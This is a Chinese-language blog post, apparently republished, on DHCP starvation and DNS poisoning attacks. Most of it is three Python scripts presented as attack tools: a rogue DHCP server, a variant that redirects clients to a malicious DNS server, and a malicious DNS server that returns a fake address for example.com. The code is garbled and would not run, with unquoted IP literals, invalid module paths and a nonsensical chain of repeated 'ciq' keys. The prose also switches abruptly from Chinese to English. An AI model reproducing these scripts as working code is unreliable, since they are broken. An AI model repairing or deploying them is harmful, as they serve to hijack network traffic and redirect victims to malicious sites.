网络安全中的DHCP攻击
2024-11-28 15:51:0 Author: www.upx8.com(查看原文) 阅读量:3 收藏

         Dynamic Host Configuration Protocol (DHCP) 是一种用于自动为网络中的设备分配 IP 地址和其他网络配置信息的网络协议。DHCP 允许设备从 DHCP 服务器获取这些信息,而无需手动配置。然而,恶意的 DHCP 服务器可以利用 DHCP 耗尽攻击和 DNS 投毒(DNS poisoning)来干扰正常网络服务。

DHCP 耗尽攻击

         DHCP 耗尽攻击是一种常见的攻击手段,攻击者可以通过创建一个恶意的(rogue)DHCP 服务器,对客户端的 DHCP 请求迅速响应并分配 IP 地址,从而导致合法的 DHCP 服务器上的可用 IP 地址池耗尽。新的客户端将无法获取 IP 地址,从而无法连接到网络。

DNS 投毒

         DNS 投毒是通过控制或修改 DNS 服务器来篡改域名解析结果,使其返回指向恶意服务器的 IP 地址,从而引导客户端访问恶意网站。借助一个恶意的 DHCP 服务器,可以将客户端重定向到一个恶意的 DNS 服务器,该服务器会返回指向恶意网站的错误 IP 地址。

以下是一个使用 dnspython 库创建恶意 DHCP 服务器的 Python 脚本:

import dnspython.dns as dns
import socket
import random

class RogueDHCPServer:
    def __init__(self, interface='eth0', range_start=192.168.1.20, range_end=192.168.1.50):
        self.interface = interface
        self.range_start = range_start
        self.range_end = range_end

    def start(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.bind((self.interface, 67))

        while True:
            packet, addr = self.sock.recvfrom(1024)
            if packet:
                dhcp_packet = dns.dns packet.DHCP(packet)

                if dhcp_packet.options['message type'] == 1:
                    # DHCPDISCOVER
                    dhcp_packet.options['message type'] = 2
                    dhcp_packet.options['server identifier'] = (self.interface, 67)
                    dhcp_packet.options['ip address lease time'] = 3600
                    dhcp_packet.options['subnet mask'] = (255.255.255.0,)
                    dhcp_packet.options['router'] = (self.range_start,)
                    dhcp_packet.options['domain name server'] = (self.range_start.replace('.', '.'),)

                    self.sock.sendto(dhcp_packet.to_wire(), addr)

                elif dhcp_packet.options['message type'] == 3:
                    # DHCPREQUEST
                        if dhcp_packet.options['requested ip address'] == int(dhcp_packet.options['ciq ciq_ciq option_data']['ciq ciq_circuit id']['ciq ciq_ciq_circuit_id']['ciq ciq_ciq_id']['ciq ciq_ciq_id']['ciq ciq_ciq_name'].replace('.', '')):
                            dhcp_packet.options['message type'] = 5
                            dhcp_packet.options['ip address lease time'] = 3600
                            dhcp_packet.options['server identifier'] = (self.interface, 67)

                            self.sock.sendto(dhcp_packet.to_wire(), addr)

if __name__ == '__main__':
    rogue_dhcp = RogueDHCPServer()
    rogue_dhcp.start()
Next, let's move on to DNS poisoning. We will modify the DHCP response to redirect clients to a malicious DNS server, which will return the IP addresses of malicious websites.
Here's an updated Python script for the rogue DHCP server:
import dnspython.dns as dns
import socket
import random

class MaliciousDHCPServer:
    def __init__(self, interface='eth0', range_start=192.168.1.20, range_end=192.168.1.50):
        self.interface = interface
        self.range_start = range_start
        self.range_end = range_end

    def start(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.bind((self.interface, 67))

        while True:
            packet, addr = self.sock.recvfrom(1024)
            if packet:
                dhcp_packet = dns.dns packet.DHCP(packet)

                if dhcp_packet.options['message type'] == 1:
                    # DHCPDISCOVER
                    dhcp_packet.options['message type'] = 2
                    dhcp_packet.options['server identifier'] = (self.interface, 67)
                    dhcp_packet.options['ip address lease time'] = 3600
                    dhcp_packet.options['subnet mask'] = (255.255.255.0,)
                    dhcp_packet.options['router'] = (self.range_start,)
                    dhcp_packet.options['domain name server'] = (self.range_start.replace('.', '.'),)

                    # Redirect to a malicious DNS server
                    dhcp_packet.options['domain name server'] = ('192.168.1.100',)

                    self.sock.sendto(dhcp_packet.to_wire(), addr)

                elif dhcp_packet.options['message type'] == 3:
                    # DHCPREQUEST
                        if dhcp_packet.options['requested ip address'] == int(dhcp_packet.options['ciq ciq_ciq option_data']['ciq ciq_circuit id']['ciq ciq_circuit_id']['ciq ciq_ciq_id']['ciq ciq_ciq_id']['ciq ciq_ciq_name'].replace('.', '')):
                            dhcp_packet.options['message type'] = 5
                            dhcp_packet.options['ip address lease time'] = 3600
                            dhcp_packet.options['server identifier'] = (self.interface, 67)

                            # Redirect to a malicious DNS server
                            dhcp_packet.options['domain name server'] = ('192.168.1.100',)

                            self.sock.sendto(dhcp_packet.to_wire(), addr)

if __name__ == '__main__':
    rogue_dhcp = MaliciousDHCPServer()
    rogue_dhcp.start()
Now, let's create a malicious DNS server that will respond with IP addresses of malicious websites.
Here's a Python script for a malicious DNS server using the dnspython library:
import dnspython.dns as dns
import socket

class MaliciousDNS:
    def __init__(self, interface='eth0', ip_addr='192.168.1.100'):
        self.interface = interface
        self.ip_addr = ip_addr

    def start(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.bind((self.interface, 53))

        while True:
            packet, addr = self.sock.recvfrom(1024)
            if packet:
                dns_packet = dns.dns packet.Packet(packet)

                if dns_packet.qd:
                    if dns_packet.qd[0].name == 'example.com':
                        # Respond with a malicious IP address
                        response = dns.dns.message.make_response(dns_packet)
                        response.answer.append(dns.dns.rrset.from_text('example.com', 3600, dns.dns.rdataclass.IN, dns.dns.rdatatype.A, ['192.168.1.101']))

                        self.sock.sendto(response.to_wire(), addr)

if __name__ == '__main__':
    malicious_dns = MaliciousDNS()
    malicious_dns.start()

文章来源: https://www.upx8.com/4475
如有侵权请联系:admin#unsafe.sh